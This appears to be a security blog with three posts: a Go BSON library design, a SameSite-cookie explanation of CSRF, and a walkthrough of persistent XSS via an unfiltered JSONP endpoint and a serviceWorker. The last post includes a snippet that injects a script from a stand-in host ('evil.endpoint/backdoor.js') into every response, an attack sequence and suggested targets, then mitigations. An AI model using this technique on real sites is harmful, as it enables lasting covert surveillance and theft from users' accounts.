BSON and Golang Interfaces

This weekend I decided to implement BSON.

BSON is just a binary representation of JSON with some extra types and traversal speed improvements.

Traversal speed is important for rapidly scanning a group of BSON objects (called Documents) for specific pieces of information.

Lets imagine you had a list of JSON like the following, and you were searching for the information under the key value “secret”.

{ “aaaaaaaaaaaaaa…..aaaaaaaaaaaa”: “world”, “secret”: “IMPORTANT INFO” } { ‘aaaaaa’: 123, “secret”: “more important info”}

A scanner has to linearly read each character one at a time since it doesn’t know when the ‘a’s end. If that list of ‘a’ was 10 megabytes long, we’re going to waste a second or two every time we want to read the value of ‘secret’.

BSON makes this simpler by pre-pending string lengths so if you can jump throughout the Document for much quicker scanning. BSON leaves little clues about the contents of each element so you can jump around without having to scan the entire contents.


BSON is binary JSON with some extra types. The top level object in BSON is a Document. A document is a collection elements. Each element contains three things:

  • The Type Identifier (byte)
  • Element Name (string)
  • Contents (string,date,int,subdocument)

And that’s it!


Normally when I implement something like this, I jump write into implementing the Marshal/Unmarshal code (serialize/deserialize).

This time I decided to take a different approach and instead focus on the types.

I started with the base types, and how they should be represented in BSON.

So types like int32, int64, double, cstring, string.

type Double float64
type Int32 int32
type Int64 int64
type CString string
type String string

And for each newly defined type, I made sure they implemented the BSON interface I created:

type BSON interface {
   ToBSON() []byte
   ToString() string

Once I had all the base types complete, I started implementing the core of BSON, the elements. I also wanted all the elements to implement the BSON interface. This was super simple thanks to the fact that all of the children types were already implementing the BSON interface:

type Element struct {
   Identifier byte
   EName CString
   Data BSON

func (e Element) ToBSON() []byte {
   out := []byte{}
   out = append(out, e.Identifier)
   out = append(out, e.EName.ToBSON()...)
   out = append(out, e.Data.ToBSON()...)
   return out

func (e Element) ToString() string {
    return e.EName.ToString() + ": " + e.Data.ToString()

After that, all I had left to do was define the types that used the Elements, and make sure they also implemented the BSON interface, which was simple since all their children already knew how to represent themselves too.

type Document ElementList
type ElementList []Element

And I was done!

So now I can create new Documents, and just call ToBSON(), and the document asks all it’s children to represent themselves in BSON, which ask their children to represent themselves in BSON.

Closing Remarks

What I really like about this implementation is that now I can use this library (probably for a fuzzer), and have it generate BSON for any type in the entire stack. Every type corresponds to BSON making the library much simpler than only operating on documents.

You can check out the implementation here:

Intro to SameSite Cookies (CSRF Protection)

A pretty common web attack involves hijacking a user’s session to get them to perform actions on your behalf.

An example attack:

Lets say Bob signs into his bank account at

Untitled drawing (2).png

From now on, whenever Bob interacts with the browser will send his cookies so that knows that the request was made by Bob.

Lets say Eve knows that he is logged into and sends him a message like:

Hey Bob,

Check out this sweet cat picture:

<img src=””&gt;

Sincerely :),


When Bob loads this message, his browser will make a web request to load the image.  The session cookies will be sent. But it’s not actually in image (the browser doesn’t know this), it’s a bank transfer. A bank transfer will be performed and Bob just lost all his money.

Normally you’d protect against this using csrf tokens, and use a http POST for this state changing request. See here for more information.

SameSite Cookie Flag

A new protection was recently introduced into Chrome that allows servers to instruct clients on when to send session cookies.

The problem in the CSRF attack is tricky. The browser did the right thing by trying to load the image, and it did the right thing by sending the cookies to ( told the browser to always send the cookies). But the bank still failed bob. Confused deputy.

SameSite cookie flag is a way for to protect their users against this attack. When Eve sent bob the message that had the embedded image, did cookies really need to be sent to load an image? Probably not.

Using SameSite, websites can tell clients to only send cookies if the request originated from the same site.

Once you’re on it makes sense to initiate transfers. But it doesn’t make sense to initiate transfers from or any other website. So in the previous attack example, since the transfer didn’t originate on, Bob will probably see a login page instead of a transaction receipt.

Using SameSite Cookie Flag

To set cookie, simply add the SameSite flag to the cookie like:

Set-Cookie: Session=6fa459ea-ee8a-3ca4-894e-db77e160355e; SameSite=Strict

You can specify how strict you want the SameSite restrictions to be. I’d recommend just using Strict and playing with the website for a bit, specially if you’re using a SPA.

The three options are None, Lax, and Strict. None is what a normal cookie uses. The different between Lax and Strict is mainly whether or not full page loads (like clicking on a link to will send the cookies. Lax will send the cookies.

To read more, checkout the RFC draft. Or google it.

Some Thoughts


XSS persistence using JSONP and serviceWorkers

One of my favorite exploits in the world is this web attack that allows you to maintain access to a website within a users browser indefinitely. Even if they close the browser and come back without a session you’ll still be hooked. It works by combining an unfiltered JSONP route, serviceWorkers, and an XSS to create a persistent backdoor on a website.

Intro to serviceWorkers

serviceWorkers are a relatively new web technology that allow you to intercept web requests. Their original intention was to create a technology that’d allow websites to work offline. serviceWorkers can be used to intercept web requests and return a cached version, making your website usable even with no internet connection.

A great introduction to serviceWorkers can be found here.

But essentially you write a script that’ll intercept web requests using the onfetch handler, and check to see if you have the content. If you have the content you return it, if you don’t you attempt to make a web request, and cache the response.

Untitled drawing (1).png

Using ServiceWorkers for evil

serviceWorkers also give you the ability to return arbitrary content.

For example:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("
<h1> Intercepted!</h1>

So putting our evil hats on. What if you were to fetch a resource, and then return a modified version of the content?


<script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing



You could inject your own scripts at the end of each request indefinitely, and the user would have no idea. All other resources get passed through the caching layer unnoticed.

JSONP Endpoint

There’s a catch with serviceWorkers though. They can only be installed from a resource on the same domain.

Meaning to install a serviceWorker on, we’d need to register the serviceWorker like:


But unfiltered JSONP endpoints come to the rescue! JSONP stands for JSON with padding. But basically a JSONP takes a query parameter and wraps the javascript data in the function.

/jsonp?callback=myAwesomeFunction returns:

var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`

This is either useful for bypassing SOP (you can download javascript from a remote domain, but not JSON) or just developer convenience.

But if the JSONP is unfiltered, you can return arbitrary javascript.

Instead ask for:

<script src="/jsonp?callback=(code that waits for fetch, and inserts <script src=""> into each web request)">

Then if you register the service worker using this JSONP endpoint, the serviceWorker factory is happy.

Full Attack Walkthrough

1.) Create the final payload (stealing emails, monitoring bank accounts etc)

2.) Bootstrap the payload using the JSONP

3.) Inject the payload using an XSS onto a victim

4.) Enjoy your long lived persistence

Use Cases

I’d mainly use this to maintain persistence and scrape information. The best targets would be email/social media/private forms. You’d have execution and can see anything a user can do.

You could apply it to banks, but, if you already have an XSS, you don’t really need this attack. This is just for persistence.


1.) Filter you JSONP endpoints. They should only allow alphanumeric and maybe periods and dashes.

2.) No XSS. Easier than it sounds, but make sure you’re following your frameworks. Input filtering, output encoding. Content-Security-Policy is also awesome, but if you have an open JSONP endpoint it’s not going to do too much good.